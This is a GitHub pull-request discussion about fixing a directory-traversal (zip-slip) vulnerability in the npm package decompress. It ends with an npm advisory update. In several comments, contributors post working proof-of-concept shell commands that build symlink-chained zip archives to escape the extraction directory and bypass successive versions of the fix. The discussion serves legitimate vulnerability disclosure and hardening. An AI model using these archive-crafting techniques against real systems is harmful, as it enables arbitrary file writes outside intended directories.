Prevent directory traversal

[trptcolin]

This fixes #71 by throwing, rather than allowing paths outside the output directory to be extracted.

I believe this loud failure to be the correct one, as it behaves similarly to tar -zxvf in protecting against directory traversal:

$ tar -zxvf fixtures/slipping.tar.gz
x ../../../decompress-traversal.txt: Path contains '..'
tar: Error exit delayed from previous errors.

But since this package seems to be fairly widely used, I want to call out explicitly that I don't know all the use cases and who this loudly-failing implementation might end up breaking.

The fixture I swapped in contains a single file, pathed at ../../../decompress-traversal.txt (containing the text "DIRECTORY TRAVERSAL"). Prior to this fix, that file got created by the included unit test, and afterwards it does not get created.

Update: There are several other test cases added as well (see the comments below), involving symlinks, directories, and other situations.

I also needed to update some setup and testing things to get the tests passing since the linting/testing tools are at version "*", but tried to keep the commits separate in case you'd prefer cherry-picking.

[trptcolin]

Ah, something I just realized, before signing off for the night: I think a filename like “stuff..txt” would trigger this implementation’s throw. I don’t know how common those are or how tar handles it, but that case seems like unnecessary breaking. IMO best to handle that case before merging (or at least before releasing).

[ajpyatakov]

I did some googling and found the patch that resolves this issue in tar: When extracting, skip ".." members
Here is the implementation of "contains_dot_dot" function: contains_dot_dot

I'm not so proficient in C, but I think that implementation in tar only checks for those dot-dot sequences that are before the slash, or at the end of the file. At least, that's how I understand this line:
if (p[0] == '.' && p[1] == '.' && (ISSLASH (p[2]) || !p[2])) return 1;

I hope that might be helpful.

[alexanderkogan]

I tried my hand at a fix, but I'm not sure how to add it to this PR or if I should at all...
See the branch here: https://github.com/alexanderkogan/decompress/tree/directory-traversal-patch
Can anybody advise me on this?

[ashalliants]

that patch wont work, as if the file name is just 'x' it will bomb out as not being able to access char [1]

[alexanderkogan]

that patch wont work, as if the file name is just 'x' it will bomb out as not being able to access char [1]

trptcolin was matching regular expressions though. The char array checks are from tar.

[trptcolin]

Agreed that a filename x has no issues with this implementation. I added a check for the case I was thinking of (e.g. internal_dots..txt or even sample..).

Two edge cases I'm not sure about:

• This currently disallows directories whose names end with .., e.g. edge_case../note.txt. Maybe OK, maybe means more thought needed.
• Can archives legal have internal .. paths that don't ultimately break out of the top level container? e.g. edge_case/nested/../note.txt? This PR currently disallows those.

[magicOz]

The problem is not only related to path names containing .., as this package also supports symlinks. An archive containing a symlink pointing outside the extracting location is able to bypass this check.

PoC: slip.zip (Creates a file in /tmp/slipped_zip.txt)

[trptcolin]

@magicOz Good point. I've updated the PR to traverse symlinks and handle the PoC you attached, and this feels more complete.

What's here prevents files and symlinks from being written outside the given output directory, but does not prevent new folders from being created.

[trptcolin]

This now prevents files/symlinks/directories from being created outside the given output directory.

So I've now handled all the cases I know about.

[trptcolin]

Last two commits were updating tests for the build.

@kevva - thoughts on merging / releasing? It’s possible that this could break consumers who are depending on the current behavior of decompress (allowing writing to arbitrary filesystem locations), so IMO should have a major version bump.

[lauriejones]

Thanks Colin! I'm totally unqualified to critique, and I'm not sure if it is possible to avoid, but fixing the vulnerability with a major version bump makes flushing the fix through package ecosystem much more difficult.

I remember this package being fixed with a new 3.0.0 version and still causing trouble for people getting their builds back to green: TooTallNate/proxy-agents#84

This vulnerability is affecting me through this dependency graph (so a few packages that would need to update):

gatsby-plugin-sharp > imagemin-mozjpeg > mozjpeg > bin-wrapper > download > decompress

If the fix can be made with a minor version bump I think a lot of people would be really appreciative!!

Alternatively, I see download and bin-wrapper are both also owned by @kevva. Could they pull the major-bumped decompress in with only a minor bump themselves? Getting into tricky semver territory there though 😅

[magicOz]

@trptcolin That looks better! 👍

However, the check currently only applies for the dirname of the file's path (index.js#L76). Which means that, by creating a symlink directly to our target file - it is possible to bypass this.

PoC:

mkdir generic_dir
ln -s ../ generic_dir/symlink_to_parent_dir
ln -s /tmp/slipped_zip_2.txt slipped_zip_2.txt

zip --symlinks slip2.zip slipped_zip_2.txt
zip --symlinks -g slip2.zip generic_dir/symlink_to_parent_dir

rm slipped_zip_2.txt

echo "Zip that slipped again" > slipped_zip_2.txt

zip --symlinks -g slip2.zip generic_dir/symlink_to_parent_dir/generic_dir/symlink_to_parent_dir/[...]/slipped_zip_2.txt

slip2.zip
(Will create a file in /tmp/slipped_zip_2.txt).

Replacing path.dirname(dest) with only dest, should do the trick. :)

[trptcolin]

Thanks for the continued research @magicOz!

Yep, definitely some tradeoffs @lauriejones.

Just to set expectations, I’m not going to be able to spend time on this today. If somebody else wants to run with this, I’m happy to close this PR.

[trptcolin]

OK, one last commit before heading to the office, but haven't applied it to this PR because I'm suspicious of it.

trptcolin@795aa69

Details: fs.realpath will fail for a file that's about to be created, so I did something a little different than fs.realpath(dest): dest.indexOf(realOutputDir) !== 0. That makes the tests happy, but the fact that I'm checking a realpath result against a path.join result makes me worry those could be different in good cases, which would be a bug.

Food for thought if somebody else picks this up from here.

[trptcolin]

Pushed an updated commit on my lunch break. My previous linked attempt was definitely a bug, and I added a test case preventing it.

The most recent escape was because when applied to a path containing a symlink, fs.writeFile will write to the place that symlink points. That's now patched on this PR.

@magicOz what do you think?

[magicOz]

@trptcolin Yeah, that looks like a healthy thing to do. But maybe check the realpath of the symlink as well?

I was able to bypass this by chaining 2 symlinks together and using an absolute path to the second symlink, since realOutputPath will be an absolute path, index.js#L86. This means that if the full path of where the archive is being extracted is known to the attacker, it is bypassable.

Consider this case; the archive is being extracted to /tmp/dist.

const decompress = require('decompress');

decompress('slip3.zip', '/tmp/dist').then(files => {
	console.log('done!');
});

Payload:

ln -s /tmp/dist/second_link first_link
ln -s /var/tmp/slipped_zip_3.txt second_link

mkdir generic_dir
ln -s ../ generic_dir/symlink_to_parent_dir

zip --symlinks slip3.zip first_link
zip --symlinks -g slip3.zip second_link
zip --symlinks -g slip3.zip generic_dir/symlink_to_parent_dir

rm first_link
rm second_link

echo "Zip that slipped again and again" > first_link

zip --symlinks -g slip3.zip $(python -c "print('generic_dir/symlink_to_parent_dir/'*30)")first_link

rm first_link
rm -r generic_dir

$ cat /var/tmp/slipped_zip_3.txt
cat: /var/tmp/slipped_zip_3.txt: No such file or directory

$ node poc.js 
done!

$ cat /var/tmp/slipped_zip_3.txt
Zip that slipped again and again

slip3.zip (Creates a file in /var/tmp/slipped_zip_3.txt this time)

[timmywil]

I emailed the security team at npm. I think they'll be able to update the advisory.

[andreeleuterio]

Hi folks, Andre from the npm security team here. The advisory is updated with decompress >= 4.2.1 marked as unaffected. We sincerely thank everyone involved in this effort.

[ksze]

GitHub's dependabot isn't marking this update as a security update. Any idea how you can make that happen?